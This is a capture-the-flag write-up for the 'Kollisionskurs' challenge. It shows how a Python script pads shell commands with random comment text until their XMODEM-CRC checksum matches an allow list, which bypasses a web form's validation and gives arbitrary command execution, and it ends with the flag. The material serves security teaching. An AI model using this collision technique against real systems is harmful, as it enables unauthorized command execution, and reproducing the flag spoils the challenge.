Kollisionskurs

OPS solar probe illustration

Category

Crypto Misc Web

Difficulty

Easy

Description

Kenneth verkar stressad av att Harriet är honom i hasorna och har känt sig tvungen att skynda på sina planer. Brådstörtat har han därför skickat iväg sin sond OPS (Oplanerat Påskyndad Solsond) mot solen för att börja undersöka förutsättningarna för en Dyson-sfär (eller Dyson-bälte, för Kenneth vill fortfarande kunna framstå som ödmjuk). Sonden var egentligen inte alls färdig än och interfacet för kommunikation slängdes ihop av en underbetald IT-konsult i sista stund innan sonden sköts iväg.

Hastverk är sällan en bra förutsättning för kvalité och stabilitet.

Harriet lyckas lokalisera systemet precis efter uppskjutningen, men hittar åtminstone lite kvarglömd data; två små shell-skript och en URL [Challenge URL removed]. Hjälp Harriet att komma åt systemet!

Har du problem att exekvera shell-skripten som Harriet hittade? Är du säker på att du har fått med alla tecken? Även de som “inte syns”? Prova med en ny rad på slutet?

Provided files

kort_status.sh

#!/bin/bash
/home/ops/status kort

full_status.sh

#!/bin/bash
/home/ops/status full

Solution

Understanding the Challenge Interface

We start by visiting the challenge URL, which is a command submission form with a multiline textarea.

OPS command submission form

If we submit the form with the following text:

#!/bin/bash
/home/ops/status full

We get the following message:

Resultat

Status:
- Omloppsbana runt solen uppnådd.
- Avstånd till solen: 150000000 km
- Tid för att nå omloppsbana: 695.65 minuter
Rapport:
- Bränslenivå: 0.00%
- Solens energinivå: 1360.22 enheter
- Temperaturen i omgivningen: 95.01 °C
- Status för huvudsystem: OK

NOTE: In the shell script, there is a \n at the end of the last line so to get the command working we need to press Enter after the command so the cursor is on a new line, otherwise it won’t work. (There is a hint in the description about this.)

Since we know that the command is a bash script, we could try to run another command to see if we can get command execution working. If we try to submit ls, we get the following error:

Ogiltigt skript
[00b3] matchar inte någon av de godkända checksummorna.

So we know that the command is being checked against a checksum. We can see that the checksum is 00b3 and we could probably assume that there is a list of allowed checksums. The website also gives us this hint: Säkrad av Ward Christensen och John Byrns, © 1981.

Identifying the Checksum Algorithm

After some searching, we find out that Ward Christensen made XMODEM and that John Byrns made XMODEM-CRC. After some more searching, we find this Sample XMODEM-CRC implementation:

int calcrc(char *ptr, int count)
{
    int  crc;
    char i;

    crc = 0;
    while (--count >= 0)
    {
        crc = crc ^ (int) *ptr++ << 8;
        i = 8;
        do
        {
            if (crc & 0x8000)
                crc = crc << 1 ^ 0x1021;
            else
                crc = crc << 1;
        } while(--i);
    }
    return (crc);
}

We could try to convert this implementation to a python script and then compare the checksum of the ones we receive from the server with the ones we generate.

def calcrc(data):
    if isinstance(data, str):
        data = data.encode('utf-8')

    crc = 0
    for byte in data:
        crc = crc ^ (byte << 8)
        for _ in range(8):
            if crc & 0x8000:
                crc = ((crc << 1) ^ 0x1021) & 0xFFFF
            else:
                crc = (crc << 1) & 0xFFFF
    return crc

# Command to generate checksum for
command = "ls"

checksum = calcrc(command)
print(f"Checksum: {checksum:04x}")
python3 script.py
Checksum: 00b3

Verifying the Checksum Implementation

Running this script for ls gives us the checksum 00b3, which is the same as the one we got from the server. Since they are the same, we can assume that the checksum calculation is correct.

We can now generate the checksum for the commands that we know are valid. #!/bin/bash\n/home/ops/status kort\n gives us bbbb and #!/bin/bash\n/home/ops/status full\n gives us 3b75.

Exploiting the Checksum Validation

Since we know that these checksums will be accepted, we can write a python script that tries to pad the command with a comment (# in bash) and random characters until the checksum is either bbbb or 3b75.

import random
import string

def calcrc(data):
    if isinstance(data, str):
        data = data.encode('utf-8')

    crc = 0
    for byte in data:
        crc = crc ^ (byte << 8)
        for _ in range(8):
            if crc & 0x8000:
                crc = ((crc << 1) ^ 0x1021) & 0xFFFF
            else:
                crc = (crc << 1) & 0xFFFF
    return crc

def find_command_with_valid_checksum(cmd):
    valid_checksums = ["bbbb", "3b75"]

    while True:
        # Generate random padding
        padding = ''.join(random.choice(string.ascii_letters) for _ in range(random.randint(1, 20)))
        padded_cmd = f"{cmd} #{padding}"

        # Calculate checksum
        checksum = calcrc(padded_cmd)
        checksum_hex = f"{checksum:04x}"

        if checksum_hex in valid_checksums:
            return padded_cmd, checksum_hex

# Get command from user
command = input("Enter your command: ")
result, checksum = find_command_with_valid_checksum(command)
print(f"Command with checksum {checksum}: {result}")

When we run this script and enter ls, we get the following output:

Enter your command: ls
Command with checksum 3b75: ls #NRJZVGKkmLXjdxAMZfox

If we submit this command to the server, we get the following output:

Resultat

bin
dev
home
lib
lib64
libexec
proc
usr

File System Exploration

We can see that we have access to the file system and we can now start exploring the files. In the /home/ops directory, we find a file called uppdragsparametrar.json. If we check its contents we find the flag.

Enter your command: cat /home/ops/uppdragsparametrar.json
Command with checksum 3b75: cat /home/ops/uppdragsparametrar.json #EdckLxkYCLcmyoFlCD
{
    "sond": {
      "namn": "O.P.S.",
      "version": "1.0.0 BETA",
      "tillverkare": "Kenneth Inc Ltd.",
      "status": "aktiv",
      "uppdrag": {
        "typ": "solsystemsforskning",
        "mål": "Utred förutsättningarna för etablerande av Dyson Sfär (eller Bälte)"
      },
      "specifikationer": {
        "hastighet_km_s": 215625,
        "max_avstånd_km": 150000000,
        "startdatum": "2025-03-29",
        "kraftkälla": "fusion",
        "kommunikation": {
          "typ": "radiovåg",
          "frekvens_mhz": 500
        }
      },
      "system": {
        "sensorer": [
          "solsensor",
          "avståndsmätare",
          "strålningdetektor",
          "temperaturmätare"
        ],
        "lagring_gb": 512,
        "processor": "quad-core 2.5 GHz",
        "flagga": "undut{Ett steg i taget tar dig till målet, oavsett avstånd. Förutsatt att du inte går åt fel håll.}"
      },
      "säkerhet": {
        "brandvägg": "aktiverad",
        "fjärrstyrning": "avstängd",
        "låsskåp": true
      },
      "data": {
        "rapporter": [
            {
                "datum": "2025-03-29 12:01:10",
                "status": "ok",
                "information": "Max hastighet uppnådd."
            },
            {
                "datum": "2025-03-29 12:00:00",
                "status": "ok",
                "information": "Acceleration inledd. Uppdrag påbörjat."
            },
            {
                "datum": "2025-03-28 23:42:56",
                "status": "fel",
                "information": "Strömavbrott i radiovågskommunikationen"
            }
        ],
        "analyser": [
          {
            "datum": "2025-03-29 11:59:59",
            "resultat": "Strålningsnivåer normala."
          },
          {
            "datum": "2025-03-29 11:53:21",
            "resultat": "Alla system fungerar korrekt. Redo för avfärd."
          }
        ]
      }
    }
  }

The flag is undut{Ett steg i taget tar dig till målet, oavsett avstånd. Förutsatt att du inte går åt fel håll.}.

Conclusion

This challenge involved exploiting a weak checksum verification mechanism in a satellite control system. The system only accepted commands with pre-approved checksums, but we discovered it was possible to craft arbitrary commands that matched these checksums by randomly padding them with comment data until we hit a valid checksum. This enabled us to bypass the checksum validation and execute arbitrary commands on the system.